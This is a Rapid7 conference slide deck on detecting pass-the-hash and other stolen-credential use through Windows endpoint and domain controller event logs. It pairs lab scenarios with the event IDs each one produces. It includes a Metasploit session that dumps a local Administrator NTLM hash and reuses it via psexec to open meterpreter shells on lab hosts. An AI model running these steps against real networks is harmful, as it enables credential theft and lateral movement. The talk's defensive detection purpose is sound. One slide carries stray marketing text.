Why You Need to Detect More Than PtH

Matt Hathaway, Senior Product Manager, Rapid7
Jeff Myers, Lead Software Engineer, Rapid7
Who We Are

Matt Hathaway
- Senior Product Manager for Rapid7 UserInsight
- Former Hardware/Software Engineer
- Previously worked in credit card and banking fraud prevention

Jeff Myers
- Lead Software Engineer for Rapid7 UserInsight
- Java developer before (and after) it was cool
- Focused on detection since joining Rapid7
Agenda

› Stolen credentials are going to be used
› How not to detect them
› How you can detect the characteristics
› What is more important then the exact characteristics
Quick Primer

› Active Directory Security Logs
  • Domain authentication and administration logs stored on a domain controller

› Windows Event Logs
  • Windows authentication and administration logs stored locally

› Account impersonation
  • Authenticating from one account to another

› Windows Management Instrumentation (WMI)
  • An interface to manage Microsoft Windows systems locally or remotely
Pass-the-Hash Basics

1. Harvest an unsalted password hash from a system
   - LM and NTLM hashes are the target
   - Various harvesting methods exist between novice and highly skilled users

2. Authenticate with the harvested password hash
   - When prompted for password, use the hash
   - Any protocol using LM/NTLM authentication will compare hashes
   - No need for a cleartext password
You Cannot Stop Stolen Credentials... or Marketing

data fuels 3 key marketer initiatives

discover | reach | expand

smarter marketing decisions
You Cannot Stop Compromised Credentials - Discover

Credentials are weak (and will be stolen)

- Spearphishing is sophisticated
- Passwords are constantly reused
- Users are focused on productivity, not security
- Target last year, ebay this year, etc.
It only takes one...
- ...valid set of credentials
- ...entry point without 2FA
- ...drive-by download victim
The Microsoft Guide to PtH is Unrealistic*

- **Mitigation 1: Restrict and protect high privileged domain accounts**
  - Exceptions are always made for privileged accounts
    - An endpoint was accessed in an emergency
    - A new service was urgent and needed admin-level access

- **Mitigation 2: Restrict and protect local accounts with admin privileges**
  - No organization has eliminated local administrator privileges
    - Executives demand them (productivity)
    - Developers demand them (productivity)

- **Mitigation 3: Restrict inbound traffic with the Windows Firewall**
  - Applies only to Windows-to-Windows authentications
  - Rules must be constantly changing

* - The Windows 8.1 mitigations are significant step, however
You Cannot Stop It... So Detect It!

- Compromised credential use is detectable
  - We will discuss a central place to start
  - Detecting advanced characteristics is great (BH 2013 talk)

- We are here to talk about the snags that you will hit
  - Every administrator looks suspicious
  - No single method/characteristic is sufficient
  - A lot of legitimate activity looks malicious
Active Directory Security Logs - Good vs. Bad

**GOOD**

- Every domain authentication
  - Which asset (sort of)
  - Which account
- Administrator functions
  - Account changes
  - Asset configuration
  - Group modifications

**BAD**

- Missing context
  - Which origination account?
  - What kind of remote authentication?
  - Which unprivileged account escalated?
  - Are local accounts in use? By whom?
Event Logs on Endpoints Are Mandatory

› Evading centralized event logs is simple
  • Ask your local pen-tester
  • Pass unsalted hashes
  • Confidently send recovered passwords from anywhere
  • Test “administrator” and “guest” accounts with weak passwords

› The logs on the endpoint are much richer
  • Local account authentication attempts
  • The important details on remote authentications
    ▪ The type of “network” authentication
    ▪ Logged in account that is authenticating ON another system
Remote Desktop Protocol (RDP)

Scenario:

From host *labclub2-dc.1* (10.1.102.53) user *alice* RDPs to host *labclub2-dc.2* (10.1.102.51) as user *bob*
Raw Logs

Code: 4624 - An account was successfully logged on

TargetUserName: bob
TargetDomainName: TESTDEV
LogonType: 3 - Network
IpAddress: 10.1.102.51 - target
# RDP - Domain Controller

<table>
<thead>
<tr>
<th>Code</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Workstation / Service Name / Logon Type</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>4776</td>
<td>bob</td>
<td></td>
<td>LABCLUB2-1 (source)</td>
<td></td>
</tr>
<tr>
<td>4768</td>
<td>bob</td>
<td>testdev.com</td>
<td>::ffff:10.1.102.51 (target)</td>
<td></td>
</tr>
<tr>
<td>4769</td>
<td><a href="mailto:bob@TESTDEV.COM">bob@TESTDEV.COM</a></td>
<td>TESTDEV.COM</td>
<td>::ffff:10.1.102.51 (target)</td>
<td></td>
</tr>
<tr>
<td>4624</td>
<td>bob</td>
<td>TESTDEV</td>
<td>10.1.102.51 (target)</td>
<td></td>
</tr>
</tbody>
</table>

4776 – The domain controller attempted to validate the credentials for an account
4768 – A Kerberos authentication ticket was requested
4769 – A Kerberos service ticket was requested
4624 – An account was successfully logged on
### RDP - Target Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Logon Type</th>
<th>Workstation Name / Target Server Name</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>4624</td>
<td>bob</td>
<td>TESTDEV</td>
<td></td>
<td>TESTDEV</td>
<td>3 - Network</td>
<td>LABCLUB2-1</td>
<td></td>
</tr>
<tr>
<td>4648</td>
<td>LABCLUB2-2$</td>
<td>TESTDEV</td>
<td>bob</td>
<td>TESTDEV</td>
<td>localhost</td>
<td></td>
<td>10.1.102.53 - source</td>
</tr>
<tr>
<td>4624</td>
<td>LABCLUB2-2$</td>
<td>TESTDEV</td>
<td>bob</td>
<td>TESTDEV</td>
<td>10 - Remote Interactive</td>
<td>LABCLUB2-2</td>
<td>10.1.102.53 - source</td>
</tr>
</tbody>
</table>

### RDP - Source Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Target Server Name</th>
<th>Target Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>4648</td>
<td>alice</td>
<td>TESTDEV</td>
<td>bob</td>
<td>testdev</td>
<td>labclub2-2.testdev.com</td>
<td>labclub2-2.testdev.com</td>
</tr>
</tbody>
</table>

4624 – An account was successfully logged on
4648 – A logon was attempted using explicit credentials
# RDP - Comparison

<table>
<thead>
<tr>
<th>Log Source</th>
<th>Source User</th>
<th>Source Address</th>
<th>Target User</th>
<th>Target Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domain Controller</td>
<td></td>
<td>LABCLUB2-1 (Workstation)</td>
<td>bob</td>
<td>10.1.102.51 (target)</td>
</tr>
<tr>
<td>Source Host</td>
<td>alice</td>
<td>10.1.102.53 (localhost)</td>
<td>bob</td>
<td>labclub2-2.testdev.com</td>
</tr>
<tr>
<td>Target Host</td>
<td></td>
<td>10.1.102.53 (IP Address)</td>
<td>bob</td>
<td>10.1.102.51 (localhost)</td>
</tr>
</tbody>
</table>
User Account Control (UAC)

Scenario:

On host labclub2-dc.2 (10.1.102.51) user alice authenticates to UAC using local Administrator credentials.
## Run As Local Administrator / UAC Prompt

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Target Server Name</th>
<th>Target Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>4648</td>
<td>alice</td>
<td>TESTDEV</td>
<td>Administrator</td>
<td>LABCLUB2-2</td>
<td>localhost</td>
<td>localhost</td>
</tr>
<tr>
<td>4624</td>
<td>alice</td>
<td>TESTDEV</td>
<td>Administrator</td>
<td>LABCLUB2-2</td>
<td>localhost</td>
<td></td>
</tr>
<tr>
<td>4672</td>
<td>Administrator</td>
<td>LABCLUB2-2</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

4648 – A logon was attempted using explicit credentials  
4624 – An account was successfully logged on  
4672 – Special privileges assigned to new logon
Pass-the-Hash with Metasploit

Scenario:

craig rips local *Administrator* hash from *labclub2-dc.1* (10.1.102.62), uses it to log in from *labclub2-dc.2* (10.1.102.60) to *labclub2-dc.3* (10.1.102.61)
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 10.1.102.62:445|razordev as user 'craig'...
[*] Uploading payload...
[*] Created \koGLAzxN.exe...
[*] Deleting \koGLAzxN.exe...
[*] Sending stage (769536 bytes) to 10.1.102.62
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Meterpreter session 1 opened (10.1.102.60:62653 -> 10.1.102.62:4444) at 2014-06-25 14:47:23 -0400

cmeterpreter > run post/windows/gather.smart_hashdump

[*] Running module against SAMCLUB2-1
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] C:/metasploit/apps/pro/loot/20140625144803_default_10.1.102.62_windows.hashes_798916.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 0866f1a69cdf81d13ccf0699fe4e9ac6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] root: ""
[*] Dumping password hashes...
[*] Administrator:500:aad3b435b51404eeaad3b435b51404ee:6d21e52b180b90f60d9eb8e8a265205::
msf-pro > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 10.1.102.61
rhost => 10.1.102.61
msf exploit(psexec) > set smbuser Administrator
smbuser => Administrator
<mbpass aad3b435b51404eeaad3b435b51404ee:6d21e52b180b90f60d9e6fbe8a265205
smbpass => aad3b435b51404eeaad3b435b51404ee:6d21e52b180b90f60d9e6fbe8a265205
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 10.1.102.61:445\WORKGROUP as user: 'Administrator'...
[*] Uploading payload...
[*] Created \xqTLSftZ.exe...
[*] Deleting \xqTLSftZ.exe...
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Sending stage (769536 bytes) to 10.1.102.61
[*] Meterpreter session 1 opened (10.1.102.60:63811 -> 10.1.102.61:4444) at 2014-06-25 15:40:26 -0400

meterpreter >
### PtH - Domain Controller

<table>
<thead>
<tr>
<th>Code</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Logon Type</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>4672</td>
<td>DC-01$</td>
<td>TESTDEV</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4624</td>
<td>DC-01$</td>
<td>TESTDEV</td>
<td>3 - Network</td>
<td>::1</td>
</tr>
<tr>
<td>4624</td>
<td>LABCLUB2-1$ (rip source)</td>
<td>TESTDEV</td>
<td>3 - Network</td>
<td>10.1.102.62 (rip source)</td>
</tr>
</tbody>
</table>

### PtH - Target Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Workstation</th>
<th>IP Address</th>
<th>Logon Process Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>4672</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4624</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td>uxuQR742vgFacN18</td>
<td>10.1.102.60 (source)</td>
<td></td>
<td>NtLmSsp</td>
<td></td>
</tr>
</tbody>
</table>

4624 – An account was successfully logged on
4672 – Special privileges assigned to new logon
User Mounts Admin Share with Domain Creds

Scenario:

On labclub2-dc.2 (10.1.102.60) user *alice* mounts an administrative share C$ on labclub2-dc.3 (10.1.102.61) using her own domain credentials.
### SMB Mount, Domain Admin - Domain Controller

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Workstation</th>
</tr>
</thead>
<tbody>
<tr>
<td>4776</td>
<td>alice</td>
<td>LABCLUB2-2 (source)</td>
</tr>
</tbody>
</table>

### SMB Mount, Domain Admin - Target Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Workstation</th>
<th>IP Address</th>
<th>Logon Process Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>4672</td>
<td>alice</td>
<td>TESTDEV</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4624</td>
<td>alice</td>
<td>TESTDEV</td>
<td>alice</td>
<td>LABCLUB2-2</td>
<td></td>
<td>10.1.102.60 (source)</td>
<td>NtLmSsp</td>
</tr>
</tbody>
</table>

**4776** – The domain controller attempted to validate the credentials for an account

**4624** – An account was successfully logged on

**4672** – Special privileges assigned to new logon
User Mounts Admin Share with Local Admin Creds

Scenario:

On labclub2-dc.2 (10.1.102.60) user alice mounts an administrative share C$ on labclub2-dc.3 (10.1.102.61) using local Administrator credentials.
### SMB Mount, Local Admin - Source Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Target Server Name</th>
<th>IP Address</th>
<th>Logon Process Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>4648</td>
<td>alice</td>
<td>TESTDEV</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td>labclub2-3.testdev.com</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### SMB Mount, Local Admin - Target Host

<table>
<thead>
<tr>
<th>Code</th>
<th>Subject User Name</th>
<th>Subject Domain Name</th>
<th>Target User Name</th>
<th>Target Domain Name</th>
<th>Workstation</th>
<th>IP Address</th>
<th>Logon Process Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>4672</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4624</td>
<td>Administrator</td>
<td>LABCLUB2-3</td>
<td>Administrator</td>
<td>LABCLUB2-2</td>
<td>10.1.102.60</td>
<td>(source)</td>
<td>NtLmSsp</td>
</tr>
</tbody>
</table>

4648 – A logon was attempted using explicit credentials
4624 – An account was successfully logged on
4672 – Special privileges assigned to new logon
You Really Need to Learn “Normal”

› Using endpoint event logs, detect every credential use
  • From MAC-IT-35, jim-admin mounts admin share
  • jen-user authenticates as jen-admin over RDP
  • joe-developer authenticates as Administrator at UAC prompt

› Tune your alerting to abnormal scenarios
  • From hhjflX48tcuHD93, Administrator mounts admin share
  • mike-user authenticates as jim-admin over RDP
  • lynn-marketer authenticates as Administrator at UAC prompt
Questions?

Thank you:
MooseDojo, Metasploit team

Contact us:
jeff_myers@rapid7.com
matthew_hathaway@rapid7.com